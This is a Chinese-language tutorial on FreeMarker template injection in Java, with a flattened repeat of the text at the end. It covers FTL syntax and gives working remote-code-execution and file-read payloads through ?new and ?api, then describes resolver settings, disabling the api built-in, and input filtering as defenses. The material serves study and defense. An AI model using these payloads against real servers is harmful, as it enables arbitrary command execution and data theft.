JAVA安全之FreeMark模板注入刨析
字数 1287 2025-08-22 12:22:37

FreeMarker模板注入深入分析与防御指南

一、FreeMarker基础介绍

FreeMarker是一个基于Java的模板引擎,广泛用于生成文本输出(HTML网页、电子邮件、配置文件等)。其核心设计目标是实现数据与模板的分离。

FreeMarker模板语言(FTL)组成

  1. 文本:固定内容,原样输出
  2. 插值${...}语法,计算后输出
  3. FTL指令<#xxx ...>实现特殊功能
  4. 注释<#-- xxxxx -->,不会输出

基本语法示例

<!DOCTYPE html>
<html>
<head>
    <title>FreeMark</title>
</head>
<body>
    <h1>欢迎来到 FreeMark</h1>
    <ul>
        <#-- 循环渲染导航条 -->
        <#list menuItems as item>
            <li><a href="${item.url}">${item.label}</a></li>
        </#list>
    </ul>
    <#-- 底部版权信息(注释部分,不会被输出) -->
    <footer>${currentYear} FreeMark. All rights reserved.</footer>
</body>
</html>

二、FreeMarker核心语法

1. 变量插入

${variableName}

2. 控制结构

<#if condition>
    Do something
<#else>
    Do something else
</#if>

3. 变量赋值

<#assign greeting = "Hello, world!">
${greeting}

4. 循环遍历

<#list items as item>
    ${item}
</#list>

5. 宏定义

<#macro greet name>
    Hello, ${name}!
</#macro>
<@greet "John"/>  <!-- 输出: Hello, John! -->

6. 条件判断

<#if age >= 18>
    You are an adult.
<#elseif age >= 13>
    You are a teenager.
<#else>
    You are a child.
</#if>

7. 包含导入

<#include "header.ftl">
<#import "macros.ftl" as macros>
<@macros.greet("Jane")/>

8. 错误处理

<#if variableName??>
    Variable exists.
<#else>
    Variable does not exist.
</#if>
${nonExistentVariable!"Default value"}

三、FreeMarker模板注入漏洞分析

漏洞原理

当攻击者能够控制模板内容时,可利用FreeMarker的?new?api功能实例化危险Java类或调用危险方法,导致RCE。

漏洞利用场景

  1. CMS后台提供模板编辑功能
  2. 模板自定义功能
  3. 用户输入直接拼接到模板中

危险类分析

1. freemarker.template.utility.Execute

public class Execute implements TemplateMethodModel {
    public Object exec(List arguments) throws TemplateModelException {
        String aExecute = (String)((String)arguments.get(0));
        Process exec = Runtime.getRuntime().exec(aExecute);
        // ...
    }
}

利用载荷

<#assign value = "freemarker.template.utility.Execute"?new()>
${value("cmd.exe /c calc")}

2. freemarker.template.utility.JythonRuntime

依赖

<dependency>
    <groupId>org.python</groupId>
    <artifactId>jython-standalone</artifactId>
    <version>2.7.0</version>
</dependency>

利用载荷

<#assign value = "freemarker.template.utility.JythonRuntime"?new()>
<@value>import os; os.system("cmd.exe /c calc")</@value>

3. freemarker.template.utility.ObjectConstructor

<#assign value = "freemarker.template.utility.ObjectConstructor"?new()>
${value("java.lang.ProcessBuilder", "cmd.exe", "/c", "calc").start()}

API利用技术

需在application.properties中启用:

spring.freemarker.settings.api_builtin_enabled=true

文件读取载荷

<#assign is = object?api.class.getResourceAsStream("/Test.class")>
FILE:[
<#list 0..999999999 as _>
    <#assign byte = is.read()>
    <#if byte == -1>
        <#break>
    </#if>
    ${byte},
</#list>
]

命令执行载荷

<#assign classLoader = object?api.class.protectionDomain.classLoader>
<#assign clazz = classLoader.loadClass("ClassExposingGSON")>
<#assign field = clazz?api.getField("GSON")>
<#assign gson = field?api.get(null)>
<#assign ex = gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("calc")}

四、FreeMarker安全机制

黑名单机制

FreeMarker维护了unsafeMethods.properties黑名单,禁止调用危险方法如:

  • java.lang.Runtime.exec()
  • java.lang.Class.newInstance()
  • java.lang.Class.getClassLoader()

防御措施

1. 设置安全解析器

freeMarkerConfig.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

三种解析器级别

  1. UNRESTRICTED_RESOLVER:允许任何类
  2. SAFER_RESOLVER:默认安全级别,禁止三个危险类
  3. ALLOWS_NOTHING_RESOLVER:禁止任何类

2. 禁用API功能

spring.freemarker.settings.api_builtin_enabled=false

3. 输入过滤

对用户提供的模板内容进行严格过滤,特别是?new?api的使用

五、漏洞调试分析

  1. template.process处下断点
  2. 跟踪createProcessingEnvironment方法
  3. 分析visit方法遍历AST的过程
  4. 观察accepteval方法的调用链
  5. 最终到达Runtime.getRuntime().exec()执行点

六、总结

FreeMarker模板注入漏洞的核心在于:

  1. 攻击者能够控制模板内容
  2. 利用?new?api功能实例化危险类或调用危险方法
  3. 绕过安全限制执行任意代码

防御关键在于:

  1. 使用安全解析器
  2. 限制API功能
  3. 严格控制模板编辑权限
  4. 定期更新FreeMarker版本
FreeMarker模板注入深入分析与防御指南 一、FreeMarker基础介绍 FreeMarker是一个基于Java的模板引擎,广泛用于生成文本输出(HTML网页、电子邮件、配置文件等)。其核心设计目标是实现数据与模板的分离。 FreeMarker模板语言(FTL)组成 文本 :固定内容,原样输出 插值 : ${...} 语法,计算后输出 FTL指令 : <#xxx ...> 实现特殊功能 注释 : <#-- xxxxx --> ,不会输出 基本语法示例 二、FreeMarker核心语法 1. 变量插入 2. 控制结构 3. 变量赋值 4. 循环遍历 5. 宏定义 6. 条件判断 7. 包含导入 8. 错误处理 三、FreeMarker模板注入漏洞分析 漏洞原理 当攻击者能够控制模板内容时,可利用FreeMarker的 ?new 和 ?api 功能实例化危险Java类或调用危险方法,导致RCE。 漏洞利用场景 CMS后台提供模板编辑功能 模板自定义功能 用户输入直接拼接到模板中 危险类分析 1. freemarker.template.utility.Execute 利用载荷 : 2. freemarker.template.utility.JythonRuntime 依赖 : 利用载荷 : 3. freemarker.template.utility.ObjectConstructor API利用技术 需在 application.properties 中启用: 文件读取载荷 : 命令执行载荷 : 四、FreeMarker安全机制 黑名单机制 FreeMarker维护了 unsafeMethods.properties 黑名单,禁止调用危险方法如: java.lang.Runtime.exec() java.lang.Class.newInstance() java.lang.Class.getClassLoader() 等 防御措施 1. 设置安全解析器 三种解析器级别 : UNRESTRICTED_RESOLVER :允许任何类 SAFER_RESOLVER :默认安全级别,禁止三个危险类 ALLOWS_NOTHING_RESOLVER :禁止任何类 2. 禁用API功能 3. 输入过滤 对用户提供的模板内容进行严格过滤,特别是 ?new 和 ?api 的使用 五、漏洞调试分析 在 template.process 处下断点 跟踪 createProcessingEnvironment 方法 分析 visit 方法遍历AST的过程 观察 accept 和 eval 方法的调用链 最终到达 Runtime.getRuntime().exec() 执行点 六、总结 FreeMarker模板注入漏洞的核心在于: 攻击者能够控制模板内容 利用 ?new 或 ?api 功能实例化危险类或调用危险方法 绕过安全限制执行任意代码 防御关键在于: 使用安全解析器 限制API功能 严格控制模板编辑权限 定期更新FreeMarker版本